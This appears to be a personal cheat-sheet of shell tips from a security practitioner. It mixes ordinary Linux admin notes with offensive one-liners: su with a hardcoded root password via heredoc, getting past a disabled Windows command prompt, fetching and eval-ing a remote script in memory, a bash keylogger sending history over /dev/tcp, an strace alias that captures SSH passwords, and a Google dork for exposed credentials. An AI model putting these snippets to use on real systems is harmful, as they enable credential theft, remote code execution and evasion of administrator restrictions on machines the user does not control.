Random
Cool heredoc
Use when you are on a
/bin/sh
and need tosu
but dont want to go into a fulltty
su - root <<!
Passw0rd
id
ls /root
!
Password: uid=0(root) gid=0(root) groups=0(root)
Desktop Documents Downloads go Music Pictures Public Templates thinclient_drives Videos
Bypass a disabled command prompt with /k
# Win+R (To bring up Run Box)
cmd.exe /k "whoami"
Description: 'This command prompt has been disabled by your administrator...' Can usually be seen in environments such as kiosks PCs, a quick hacky work around is to use /k via the windows run box. This will carry out the command and then show the restriction message, allowing for command execution.
Luks On USBs
Bash In memory exec one liner
bash -c CMD="`wget -qO- http://<ip>/script.sh`" && eval "$CMD"
Bash Keylogger
PROMPT_COMMAND='history -a; tail -n1 ~/.bash_history > /dev/tcp/127.0.0.1/9000'
SSH Client Strace Keylogger
Poor mans keylogger for ssh client but it works. Add to the users
.bashrc
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
remember to source the
.bashrc
source ~/.bashrc
Apache map external drive to webroot
Create a directory on the external HDD, assuming it is mounted under the
/media
directory, like so:
sudo mkdir /media/web_files
Change the ownership of this directory and all the files under it to be owned by the Apache user
www-data
like so:
sudo chown -R www-data:www-data /media/web_files/
Create a directory under the web root directory ie
/var/www/html/
like so:
sudo mkdir /var/www/html/external_files
Bind the
/media/web_files/
directory to the/var/www/html/external_files/
directory like so:
sudo mount --bind /media/web_files/ /var/www/html/external_files/
All files on the external HDD under the
/media/web_files/
directory will be available for Apache under the/var/www/html/external_files/
directory and you can link to them in your web page that resides in/var/www/html/
like so:
<a href="external_files/file1.mp4">file1</a>
Unzip a chunked archive
you will see files ending in .001, .002 etc etc
You will need to join them first. You may use the common linux app,
cat
as in the example below:cat test.zip* > ~/test.zip
This will concatenate all of your
test.zip.001
,test.zip.002
, etc files into one larger, test.zip file. Once you have that single file, you may rununzip test.zip
ffmpeg -i input.mkv -codec copy output.mp4
Cool Google Dorks
inurl:/wp-content/uploads/ ext:txt "username" AND "password" | "pwd" | "pw"
What is taking up space Linux
I recently ran out of disk space on my Ubuntu machine, here is a quick way to see what is taking up all that space
root@dev:/opt# du -cha --max-depth=1 / 2>/dev/null | grep -E "M|G"
3.9M /run
19G /opt
18M /etc
18G /home
18G /usr
1.6G /media
918M /root
517M /Kismet-20240630-21-57-41-1.kismet
11G /snap
2.1G /swapfile
145G /tmp
7.3G /var
194M /boot
221G /
221G total
root@dev:/opt# cd /var
root@dev:/var# du -cha --max-depth=1 /var 2>/dev/null | grep -E "M|G"
6.5G /var/lib
6.5M /var/backups
291M /var/cache
99M /var/crash
5.0M /var/snap
427M /var/log
7.3G /var
7.3G total
Fix x11 graphical error
xhost +SI:localuser:root
xhost
Fix Date Issue On Ubuntu
I recently had severe time drift on a machine that is prevented from reaching the internet
Provide the host internet access for a small time window and fix with a one liner
timedatectl
Local time: Thu 2024-11-21 03:43:31 EST
Universal time: Thu 2024-11-21 08:43:31 UTC
RTC time: Fri 2014-09-05 09:12:41
Time zone: America/New_York (EST, -0500)
System clock synchronized: no
NTP service: active
RTC in local TZ: no
sudo date -s "$(wget -qSO- --max-redirect=0 google.com 2>&1 | grep Date: | cut -d' ' -f5-8)Z"
Last updated